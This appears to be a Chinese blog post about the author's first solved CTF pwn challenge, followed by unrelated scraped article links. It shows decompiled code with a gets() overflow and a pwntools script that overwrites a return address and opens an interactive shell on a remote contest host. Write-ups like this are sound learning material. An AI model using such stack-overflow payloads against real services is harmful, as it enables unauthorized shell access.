第一解出的pwn题
虽然题目不难,但是 是我第一次做出的pwn题,得写下。
__int64 sub_4007E6()
{
char s1; // [sp+0h] [bp-30h]@1 memset(&s1, , 0x30uLL);
puts("Input your Name:");
gets(&s1);
if ( strcmp(&s1, "root") )
::s1 = strdup(&s1);
return 0LL;
}
这里有溢出点。s1。
然后就很明确了。就差溢出的地址和覆盖多少了。
然后看了好久,看不出来。果断就调试,然后就直接出来了。
剩下就直接上代码了,过程有点想哭。。。还好有师傅给指点了下。
将p.sendline("whoami")
改成了p.interactive()
from pwn import *
re_add=0x0000000000400896
for i in range(10000):
#p=process("./whoami")
p=remote("101.71.29.5",10013)
payload='A'*56+p64(re_add)
p.recvuntil(">")
p.sendline("")
p.recvuntil("Input your Name:\n")
p.sendline(payload)
p.interactive()
p.close()
起初想爆破的。但没成功。。。所以就。。。
代码有点难看。。下次练下 写好点
第一解出的pwn题的更多相关文章
- pwn200,一道不完全考察ret2libc的小小pwn题
pwn200 ---XDCTF-2015 每日一pwn,今天又做了一个pwn,那个pwn呢???攻防世界的进阶区里的一道小pwn题,虽然这个题考察的知识不多,rop链也比较好构建,但是还是让我又学到了 ...
- pwn 题GDB调试技巧和exp模板
GDB分析ELF文件常用的调试技巧 gdb常用命令 首先是gbd+文件名 静态调试 ,gdb attach +文件名 动态调试 为了方便查看堆栈和寄存器 最好是安装peda插件 安装 可以通过pip直 ...
- PWN题搭建
0x00.准备题目 例如:level.c #include <stdio.h> #include <unistd.h> int main(){ char buffer[0x10 ...
- 由一道CTF pwn题深入理解libc2.26中的tcache机制
本文首发安全客:https://www.anquanke.com/post/id/104760 在刚结束的HITB-XCTF有一道pwn题gundam使用了2.26版本的libc.因为2.26版本中加 ...
- PTA中如何出Java编程题?
很多第一次出Java编程题的老师,不知道Java在PTA中是如何处理输入的.写一篇文章供大家参考. 有多种类型输入的编程题: 类型1:固定数量输入 从控制台读入**两个**数,然后将其相加输出. 对于 ...
- pwn题命令行解题脚本
目录 脚本说明 脚本内容 使用 使用示例 参考与引用 脚本说明 这是专门为本地调试与远程答题准备的脚本,依靠命令行参数进行控制. 本脚本支持的功能有: 本地调试 开启tmux调试 设置gdb断点,支持 ...
- 江西财经大学第一届程序设计竞赛 F题 解方程
链接:https://www.nowcoder.com/acm/contest/115/F来源:牛客网 时间限制:C/C++ 1秒,其他语言2秒 空间限制:C/C++ 32768K,其他语言65536 ...
- 62. Unique Paths(中等,我自己解出的第一道 DP 题^^)
A robot is located at the top-left corner of a m x n grid (marked 'Start' in the diagram below). The ...
- 【求出所有最短路+最小割】【多校第一场】【G题】
题意 A从1要追在N的 B 只能走最短的路 问B最少切断多少条路可以让A不能过来 问B最多切断多少条路A还是能过来 对于1 求出1到N的所有最短路的路径,对其求最小割 对于2 求出长度最小的最短路即可 ...
随机推荐
- vue-cli添加bootstrap
如何引入bootstrap npm install --save-dev bootstrap 在main.js中引入 import 'bootstrap/dist/css/bootstrap.min. ...
- 爬虫链接mongodb 以及多线程多进程的操作
一.连接mongodb 1. 设置数据库 client=pymongo.MongoClient(‘localhost’) 2. db=client[‘lag ...
- p6spy打印SQL
一 Springboot项目 <dependency> <groupId>p6spy</groupId> <artifactId>p6spy</a ...
- 使用MySQL,SQL_MODE有哪些坑,你知道么?
SQL_MODE是MySQL中的一个系统变量(variable),可由多个MODE组成,每个MODE控制一种行为,如是否允许除数为0,日期中是否允许'0000-00-00'值. 为什么需要关注SQL_ ...
- Mycat分布式数据库架构解决方案--Mycat实现读写分离
echo编辑整理,欢迎转载,转载请声明文章来源.欢迎添加echo微信(微信号:t2421499075)交流学习. 百战不败,依不自称常胜,百败不颓,依能奋力前行.--这才是真正的堪称强大!!! 安装完 ...
- 用node实现发送邮箱验证码
首先,你需要注册一个支持发送的邮箱,我注册是网易邮箱,然后配置smtp. 然后,创建一个node项目,输入npm install nodemailer --save安装邮件依赖. 接着创建一个文件(s ...
- NOIP模拟 9
%liu_runda Orz T1 随 矩阵快速幂结合概率期望 但n3无法承受 利用原根的性质,将乘法转化成加法 就变成循环矩阵n^2了 改题时苦b地卡了关:误把1当成原根的1次方,错误地认为矩阵的阶 ...
- .NET Core 3.0 部署在docker上运行
自从.NET Core3.0发布之后,写了几篇关于.NET Core 3.0的文章,有助于你快速入门.NET Core3.0. 本篇文章主要讲解如何一步步创建一个mvc项目,然后发布并部署在Docke ...
- Windows Server 搭建企业无线认证(Radius认证方案)
认证协议介绍: 扩展认证协议EAP(Extensible Authentication Protocol) 是一个在无线网络或点对点连线中普遍使用的认证框架.它被定义在RFC 3748中,并且使RFC ...
- Vue+element UI实现“回到顶部”按钮组件
介绍 这是一个可以快速回到页面顶部的组件,当用户浏览到页面底部的时候,通过点击按钮,可快速回到页面顶部. 使用方法 由于该组件是基于element-UI进行二次封装的,所以在使用该组件时请务必安装el ...